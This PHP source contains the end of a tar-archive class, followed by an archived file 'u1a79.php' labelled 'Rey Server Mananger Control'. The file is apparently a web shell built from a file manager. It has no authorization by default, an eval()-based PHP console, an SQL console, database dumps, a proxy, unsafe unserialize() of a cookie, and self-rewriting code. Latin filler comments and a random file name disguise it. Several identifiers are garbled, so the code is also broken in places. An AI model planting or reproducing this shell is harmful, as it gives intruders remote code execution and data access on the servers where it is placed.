		         $header['fileHash'] = OctDec(trim($unpack_data['fileHash']));
		         if ($header['fileHash'] != $fileHash){
                                
		         	$header['filename'] = '';

		         	if (($fileHash == 256) && ($header['fileHash'] == 0)) 	return true;

		         	$this->errorList[] = __('Error fileHash for file ').$unpack_data['filename'];
                                     
		         	return false;
                               
		         }

                                     
		         if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;

		         $header['filename'] = trim($unpack_data['filename']);

		         $header['mode'] = OctDec(trim($unpack_data['mode']));
                                     
		         $header['userIdentifier'] = OctDec(trim($unpack_data['userIdentifier']));

		         $header['group_id'] = OctDec(trim($unpack_data['group_id']));

		         $header['size'] = OctDec(trim($unpack_data['size']));

		         $header['time'] = OctDec(trim($unpack_data['time']));

		         return true;

	}



	function insertHeaderInfo($filename, $keep_filename){

		         $packF = 'a100a8a8a8a12A12';
		         $packL = 'a1a100a6a2a32a32a8a8a155a12';
                                       
		         if (strlen($keep_filename)<=0) $keep_filename = $filename;

		         $filename_ready = $this->generateValidPath($keep_filename);

		         if (strlen($filename_ready) > 99){		         		         		         	//write long header
		         $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

		         $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');



        //  Calculate the fileHash

		         $fileHash = 0;
        //  First part of the header

		         for ($i = 0; $i < 148; $i++)
		         	$fileHash += ord(substr($dataFirst, $i, 1));

        //  Ignore the fileHash value and replace it by ' ' (space)
		         for ($i = 148; $i < 156; $i++)
		         	$fileHash += ord(' ');

        //  Last part of the header
                                    
		         for ($i = 156, $j=0; $i < 512; $i++, $j++)

		         	$fileHash += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		         $this->saveDataBlock($dataFirst, 148);

        //  Write the calculated fileHash

		         $fileHash = sprintf('%6s ', DecOct($fileHash));
		         $binaryData = pack('a8', $fileHash);
                              
		         $this->saveDataBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
                            
		         $this->saveDataBlock($dataLast, 356);


                                 
		         $temporaryFilename = $this->generateValidPath($filename_ready);

		         $i = 0;
                                
		         	while (($buffer = substr($temporaryFilename, (($i++)*512), 512)) != ''){
                        
		         		         $binaryData = pack('a512', $buffer);
		         		         $this->saveDataBlock($binaryData);
                                  
		         	}

		         return true;
		         }

		         $file_info = stat($filename);

		         if (@is_dir($filename)){
                              
		         	$typeflag = '5';

		         	$size = sprintf('%11s ', DecOct(0));
		         } else {
		         	$typeflag = '';

		         	clearstatcache();
                            
		         	$size = sprintf('%11s ', DecOct(fileSetize($filename)));

		         }

		         $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

		         $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');

		         $fileHash = 0;

		         for ($i = 0; $i < 148; $i++) $fileHash += ord(substr($dataFirst, $i, 1));
                              
		         for ($i = 148; $i < 156; $i++) $fileHash += ord(' ');

		         for ($i = 156, $j = 0; $i < 512; $i++, $j++) $fileHash += ord(substr($dataLast, $j, 1));

		         $this->saveDataBlock($dataFirst, 148);

		         $fileHash = sprintf('%6s ', DecOct($fileHash));

		         $binaryData = pack('a8', $fileHash);
                                
		         $this->saveDataBlock($binaryData, 8);

		         $this->saveDataBlock($dataLast, 356);

		         return true;
	}
                              


	function initiateFileWrite(){
		         if ($this->isCompressedFile)
		         	$this->temporaryFile = gzopen($this->archiveTitle, 'wb9f');
                               
		         else

		         	$this->temporaryFile = fopen($this->archiveTitle, 'wb');


		         if (!($this->temporaryFile)){

		         	$this->errorList[] = __('Cannot write to file').' '.$this->archiveTitle;
                           
		         	return false;

		         }
		         return true;
                                      
	}

                                       
	function retrieveDataBlock(){

		         if (is_resource($this->temporaryFile)){

		         	if ($this->isCompressedFile)

		         		         $block = gzread($this->temporaryFile, 512);

		         	else
                               
		         		         $block = fread($this->temporaryFile, 512);
                               
		         } else	$block = '';
                                

                             
		         return $block;
                                       
	}


	function saveDataBlock($data, $length = 0){

		         if (is_resource($this->temporaryFile)){
                                  
		         

		         	if ($length === 0){

		         		         if ($this->isCompressedFile)
                                   
		         		         	gzputs($this->temporaryFile, $data);
                               
		         		         else

		         		         	fputs($this->temporaryFile, $data);

		         	} else {
		         		         if ($this->isCompressedFile)

		         		         	gzputs($this->temporaryFile, $data, $length);
		         		         else

		         		         	fputs($this->temporaryFile, $data, $length);

		         	}
                        
		         }

	}


	function finalizeTempFile(){
		         if (is_resource($this->temporaryFile)){
                                        
		         	if ($this->isCompressedFile)

		         		         gzclose($this->temporaryFile);

		         	else

		         		         fclose($this->temporaryFile);



		         	$this->temporaryFile = 0;

		         }

	}



	function generateValidPath($path){
                                        
		         if (strlen($path)>0){
                                      
		         	$path = str_replace('\\', '/', $path);
		         	$partPath = explode('/', $path);

		         	$els = count($partPath)-1;

		         	for ($i = $els; $i>=0; $i--){

		         		         if ($partPath[$i] == '.'){

                    //  Ignore this directory
                          
                } elseif ($partPath[$i] == '..'){

                    $i--;

                }

		         		         elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else

		         		         	$result = $partPath[$i].($i!=$els ? '/'.$result : '');
		         	}
                                   
		         } else $result = '';
		         

		         return $result;

	}
                                  
}

?>
PK�Bg\�d����	u1a79.phpnu�[���<?php








        /* Rey Server Mananger Control */






  // Per hunc programmatum, utentes possunt fasciculos creare, deletare, vel movere



         $authorization_Option = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';




$php_templates = '{"Settings":"global $fms_config;\r\nvar_export($fms_config);","Backup SQL tables":"echo fm_backup_tables();"}';


$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';





$translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить �ту папку (рекур�ивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить �тот файл?","Archiving":"�рхивировать","Authorization":"�вторизаци�","Back":"�азад","Cancel":"Отмена","Chinese":"Китай�кий","Compress":"Сжать","Console":"Кон�оль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Ра�паковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"�нглий�кий","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл �охранен","Filename":"Им� файла","Files uploaded":"Файл загружен","French":"Француз�кий","Generation time":"Генераци� �траницы","German":"�емецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"�аименование","New":"�овое","New file":"�овый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображени�","Recursively":"Рекур�ивно","Rename":"Переименовать","Reset":"Сбро�ить","Reset settings":"Сбро�ить на�тройки","Restore file time after editing":"Во��танавливать врем� файла по�ле редактировани�","Result":"Результат","Rights":"Права","Russian":"Ру��кий","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"�а�тройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"И�пан�кий","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украин�кий","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"�айдено в файлах","Search":"Пои�к","Recursive search":"Рекур�ивный пои�к","Mask":"Ма�ка"}';

// File Manager instrumentum utile est ad res in systemate computatorio ordinandas
                        

// Fasciculi in File Manager saepe ostenduntur in formis tabellarum vel indicum

$starttime = explode(' ', microtime());

$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
                                       
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);

$path = str_replace('\\', '/', $path) . '/';

$main_path=str_replace('\\', '/',realpath('./'));
                                      
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;

$msg = ''; // File Manager programmatum simplicem interface praebet ad operationes fasciculorum
$default_language = 'ru';

$detect_lang = true;

$fm_version = 1.4;





     // Usus communis File Manager includit apertionem, editorem et deletionem fasciculorum
                                   
             $auth_local = json_decode($authorization_Option,true);

$auth_local['authorize'] = isset($auth_local['authorize']) ? $auth_local['authorize'] : 0; 





    $auth_local['days_authorization'] = (isset($auth_local['days_authorization'])&&is_numeric($auth_local['days_authorization'])) ? (int)$auth_local['days_authorization'] : 30;

$auth_local['login'] = isset($auth_local['login']) ? $auth_local['login'] : 'admin';  
$auth_local['password'] = isset($auth_local['password']) ? $auth_local['password'] : 'phpfm';  




$auth_local['cookie_name'] = isset($auth_local['cookie_name']) ? $auth_local['cookie_name'] : 'fm_user';

$auth_local['script'] = isset($auth_local['script']) ? $auth_local['script'] : '';
                          

                                       
// File Manager adhibetur ad fasciculos inter directorias movere

$fm_default_config = array (
                                 
	'make_directory' => true, 

	'new_file' => true, 

	
    
    'upload_myfile' => true, 

	'show_dir_size' => false, // File Manager systema ordinandi fasciculos praebet, ubi usores possunt categoriam fasciculorum creare
                            
	'show_img' => true, 

	'show_php_ver' => true, 
	'show_php_ini' => false, // In systematibus operandi, File Manager saepe instrumentum praeconium ad administranda documenta
                                    
	'show_gt' => true, // Programma File Manager permittit utentes ad systema interius navigandum
	
    
    'enable_php_console' => true,

	'enable_sql_console' => true,
	'sql_server' => 'localhost',

	'sql_username' => 'root',

	'sql_password' => '',

	'sql_db' => 'test_base',

	'enable_proxy' => true,

	'show_phpinfo' => true,
                                 
	'show_xls' => true,





	'fm_settings' => true,

	'restore_time' => true,

	'fm_restore_time' => false,
);


                           
if (empty($_COOKIE['fm_config'])) $fms_config = $fm_default_config;

else $fms_config = unserialize($_COOKIE['fm_config']);


// Change language

if (isset($_POST['fm_lang'])) { 

	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_local['days_authorization']));
                             
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];

}
$language = $default_language;


// Detect browser language

if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		         foreach ($lang_priority as $lang_arr){
		         	$lng = explode(';', $lang_arr);

		         	$lng = $lng[0];
                                 
		         	if(in_array($lng,$langs)){

		         		         $language = $lng;
		         		         break;

		         	}
		         }

	}

} 


                        
// File Manager adhibetur ad perficiendum actiones in files quae celerem accessum requirunt

$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
                                        


// Multae versiones File Manager in systematibus operandi diversis exstant
                                 
$lang = json_decode($translation,true);

if ($lang['id']!=$language) {

	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');

	if (!empty($get_lang)) {






		         // File Manager in versionibus recentibus variat inter GUI et CLI formas

		         $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		         $fgc_check = file_get_contents(__FILE__);

		         $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches);
                                        
		         if (!empty($matches[1])) {
                              
		         	$filemtime = filemtime(__FILE__);

		         	$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc_check);
		         	if (file_put_contents(__FILE__, $replace)) {
                                  
		         		         $msg .= __('File updated');
                        
		         	}	else $msg .= __('Error occurred');

		         	if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime);
                                      
		         }	
		         $lang = json_decode($translation_string,true);

	}
}
                                 

                              
/* Functions */


                                     
//translation

function __($text){
	global $lang;

	if (isset($lang[$text])) return $lang[$text];

	else return $text;
};


                             
// Uti File Manager in systematibus ut Microsoft Windows vel Unix communiter fit

function fm_del_fileSet($file, $recursive = false) {

	if($recursive && @is_dir($file)) {
		         $els = fm_scan_dir($file, '', '', true);
                               
		         foreach ($els as $el) {
                                
		         	if($el != '.' && $el != '..'){
                            
		         		         fm_del_fileSet($file . '/' . $el, true);
		         	}

		         }

	}
	if(@is_dir($file)) {

		         return rmdir($file);
                                  
	} else {

		         return @unlink($file);

	}

}

                        
//file perms

function fm_rights_string($file, $if = false){
                            
	$perms = fileperms($file);

	$info = '';
	if(!$if){

		         if (($perms & 0xC000) == 0xC000) {

		         	//Socket

		         	$info = 's';
		         } elseif (($perms & 0xA000) == 0xA000) {

		         	// In systematibus operandi, File Manager typice apparet ut fenestra quae permittit utentes res administret

		         	$info = 'l';

		         } elseif (($perms & 0x8000) == 0x8000) {
                          
		         	// Aliquam File Manager etiam permittit utentes cum serveris remotos operari.

		         	$info = '-';
		         } elseif (($perms & 0x6000) == 0x6000) {

		         	// Faciunt optiones quae utentes adiuvant ad administrandum multos fasciculos simul

		         	$info = 'b';

		         } elseif (($perms & 0x4000) == 0x4000) {
                              
		         	// Usus File Manager fit potissimum per drag et drop actiones


		         	$info = 'd';
                        
		         } elseif (($perms & 0x2000) == 0x2000) {

		         	// File Manager etiam multis systematibus permittit accessum ad hidden files







		         	$info = 'c';

		         } elseif (($perms & 0x1000) == 0x1000) {
		         	//FIFO pipe
                               
		         	$info = 'p';

		         } else {
                                    
		         	//Unknown
                                      
		         	$info = 'u';
		         }

	}
                               
  
                                     
	//Owner

	$info .= (($perms & 0x0100) ? 'r' : '-');
                               
	$info .= (($perms & 0x0080) ? 'w' : '-');

	$info .= (($perms & 0x0040) ?

	(($perms & 0x0800) ? 's' : 'x' ) :

	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
                           
	$info .= (($perms & 0x0020) ? 'r' : '-');

	$info .= (($perms & 0x0010) ? 'w' : '-');

	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :

	(($perms & 0x0400) ? 'S' : '-'));
                                    
 
	//World

	$info .= (($perms & 0x0004) ? 'r' : '-');
                            
	$info .= (($perms & 0x0002) ? 'w' : '-');

	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :

	(($perms & 0x0200) ? 'T' : '-'));

                           
	return $info;
                             
}



function fm_convert_rights($mode) {

	$mode = str_pad($mode,9,'-');
                                      
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');

	$mode = strtr($mode,$trans);
                         
	$newmode = '0';

	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
                                 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 

	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 

	$newmode .= $owner . $group . $world;

	return intval($newmode, 8);
}

                         
function fm_chmod($file, $val, $rec = false) {
                                      
	$res = @chmod(realpath($file), $val);
                          
	if(@is_dir($file) && $rec){
		         $els = fm_scan_dir($file);
		         foreach ($els as $el) {
		         	$res = $res && fm_chmod($file . '/' . $el, $val, true);

		         }
                            
	}
                                       
	return $res;

}



//load fileSet
                           
function fm_download($archiveFileName) {

    if (!empty($archiveFileName)) {

		         if (file_exists($archiveFileName)) {
                                     
		         	header("Content-Disposition: attachment; filename=" . basename($archiveFileName));   

		         	header("Content-Type: application/force-download");

		         	header("Content-Type: application/octet-stream");

		         	header("Content-Type: application/download");

		         	header("Content-Description: File Transfer");            

		         	header("Content-Length: " . fileSetize($archiveFileName));		         

		         	flush(); // this doesn't really matter.
		         	$fp = fopen($archiveFileName, "r");
                            
		         	while (!feof($fp)) {
                               
		         		         echo fread($fp, 65536);

		         		         flush(); // this is essential for large downloads

		         	} 
                                       
		         	fclose($fp);

		         	die();

		         } else {

		         	header('HTTP/1.0 404 Not Found', true, 404);

		         	header('Status: 404 Not Found'); 
		         	die();
                                  
        }

    } 

}


                          
// File Manager in multis casibus includit instrumenta ad compressiones fasciculorum
function fm_dir_size($f,$format=true) {

	if($format)  {
                                 
		         $size=fm_dir_size($f,false);
		         if($size<=1024) return $size.' bytes';

		         elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
                                   
		         elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';

		         elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

		         elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		         else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
                             
	} else {
		         if(is_file($f)) return fileSetize($f);

		         $size=0;

		         $dh=opendir($f);

		         while(($file=readdir($dh))!==false) {

		         	if($file=='.' || $file=='..') continue;
		         	if(is_file($f.'/'.$file)) $size+=fileSetize($f.'/'.$file);

		         	else $size+=fm_dir_size($f.'/'.$file,false);

		         }
                         
		         closedir($dh);
		         return $size+fileSetize($f); 

	}

}



//scan directory

function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
                                      
	$dir = $ndir = array();

	if(!empty($exp)){

		         $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
                           
	}
	if(!empty($type) && $type !== 'all'){
                                        
		         $func = 'is_' . $type;
	}
                                   
	if(@is_dir($directory)){
                             
		         $fh = opendir($directory);

		         while (false !== ($filename = readdir($fh))) {
		         	if(substr($filename, 0, 1) != '.' || $do_not_filter) {
                                
		         		         if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){

		         		         	$dir[] = $filename;
                                      
		         		         }

		         	}
		         }
		         closedir($fh);
		         natsort($dir);
                         
	}
	return $dir;

}


function fm_link($get,$link,$name,$title='') {

	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';

}

function fm_arr_to_option($arr,$n,$sel=''){
                         
	foreach($arr as $v){
		         $b=$v[$n];

		         $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
                         
	}

	return $res;

}


function fm_lang_form ($current='en'){

return '
                                        
<form name="change_lang" method="post" action="">

	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		         <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		         <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		         <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>

		         <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
                                     
		         <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>

	</select>
</form>

';

}

	
function fm_root($dirname){

	return ($dirname=='.' OR $dirname=='..');
}


                                       
function fm_php($string){
	$display_errorList=ini_get('display_errorList');

	ini_set('display_errorList', '1');
                                   
	ob_start();
	eval(trim($string));
                           
	$text = ob_get_contents();

	ob_end_clean();

	ini_set('display_errorList', $display_errorList);
	return $text;

}


//SHOW DATABASES

function fm_sql_connect(){

	global $fms_config;

	return new mysqli($fms_config['sql_server'], $fms_config['sql_username'], $fms_config['sql_password'], $fms_config['sql_db']);

}


                                        
function fm_sql($query){
	global $fms_config;

	$query=trim($query);

	ob_start();

	$connection = fm_sql_connect();

	if ($connection->connect_error) {

		         ob_end_clean();	
		         return $connection->connect_error;
	}

	$connection->set_charset('utf8');

    $queried = mysqli_query($connection,$query);

	if ($queried===false) {

		         ob_end_clean();	

		         return mysqli_error($connection);

    } else {
                           
		         if(!empty($queried)){
                         
		         	while($row = mysqli_fetch_assoc($queried)) {
                                  
		         		         $query_result[]=  $row;
                           
		         	}

		         }

		         $vdump=empty($query_result)?'':var_export($query_result,true);	

		         ob_end_clean();	

		         $connection->close();
		         return '<pre>'.stripslashes($vdump).'</pre>';
	}

}



function fm_backup_tables($tables = '*', $full_backup = true) {
                                    
	global $path;
	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";
                            
	if($tables == '*')	{

		         $tables = array();

		         $result = $mysqldb->query('SHOW TABLES');
		         while($row = mysqli_fetch_row($result))	{
		         	$tables[] = $row[0];

		         }

	} else {

		         $tables = is_array($tables) ? $tables : explode(',',$tables);
	}

    

	$return='';

	foreach($tables as $table)	{
                                  
		         $result = $mysqldb->query('SELECT * FROM '.$table);
		         $num_fields = mysqli_num_fields($result);
		         $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		         $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));

		         $return.=$row2[1].$delimiter;

        if ($full_backup) {
                             
		         for ($i = 0; $i < $num_fields; $i++)  {

		         	while($row = mysqli_fetch_row($result)) {
                           
		         		         $return.= 'INSERT INTO `'.$table.'` VALUES(';

		         		         for($j=0; $j<$num_fields; $j++)	{

		         		         	$row[$j] = addslashes($row[$j]);
		         		         	$row[$j] = str_replace("\n","\\n",$row[$j]);
                          
		         		         	if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
		         		         	if ($j<($num_fields-1)) { $return.= ','; }

		         		         }
                                     
		         		         $return.= ')'.$delimiter;
		         	}
                        
		           }

		         } else { 

		         $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		         }
		         $return.="\n\n\n";
	}


                            
	//save file

    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';

	$handle = fopen($file,'w+');
                        
	fwrite($handle,$return);
	fclose($handle);

	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';

    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
                              
}


function fm_restore_tables($sqlFileToExecute) {

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");

    $sqlFile = fread($f,fileSetize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);

	
    //Process the sql file by statements
                                     
    foreach ($sqlArray as $stmt) {

        if (strlen($stmt)>3){

		         	$result = $mysqldb->query($stmt);

		         		         if (!$result){

		         		         	$sqlErrorCode = mysqli_errno($mysqldb->connection);

		         		         	$sqlErrorText = mysqli_error($mysqldb->connection);
		         		         	$sqlStmt      = $stmt;

		         		         	break;

           	     }

           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

                                        
function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
                                   
}


                                      
function fm_home_style(){
                         
	return '

input, input.fm_input {
	text-indent: 2px;
}
                          

                          
input, textarea, select, input.fm_input {
                                     
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;

	border-color: black;
                                       
	background-color: #FCFCFC none !important;

	border-radius: 0;
                                 
	padding: 2px;

}



input.fm_input {

	background: #FCFCFC none !important;

	cursor: pointer;

}
                                      


.home {
                        
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+0x9Be54ec5a55A9753e998575B15B0842f8a58E79a/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");

	background-repeat: no-repeat;

}';

}



function fm_config_checkbox_row($name,$value) {

	global $fms_config;
                          
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fms_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
                         

                            
function fm_protocol() {
                                       
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';

	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';

	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';

	return 'http://';

}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];

}
                            


function fm_url($full=false) {

	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);

}
                         

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';

}

function fm_run_input($lng) {
                          
	global $fms_config;
	$return = !empty($fms_config['enable_'.$lng.'_console']) ? 

	'

		         		         <form  method="post" action="'.fm_url().'" style="display:inline">
                          
		         		         <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">

		         		         </form>

' : '';
	return $return;
}
                          


function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);

	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
                                 
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {

		         $link = substr_replace($link,fm_protocol(),0,2);
                           
	} elseif (substr($link,0,1)=='/') {

		         $link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {

		         $link = substr_replace($link,$host,0,2);	

	} elseif (substr($link,0,4)=='http') {

		         //alles machen wunderschon
                                 
	} else {

		         $link = $host.$link;
	} 
                                        
	if ($matches[1]=='href' && !strripos($link, 'css')) {

		         $base = fm_site_url().'/'.basename(__FILE__);
                            
		         $baseq = $base.'?proxy=true&url=';
                           
		         $link = $baseq.urlencode($link);
                            
	} elseif (strripos($link, 'css')){

		         //§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
                              
	}

	return $matches[1].'="'.$link.'"';
                        
}

 

function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};

	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
                                     
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
                                        
		         $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';

	}

return '

<table>

<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
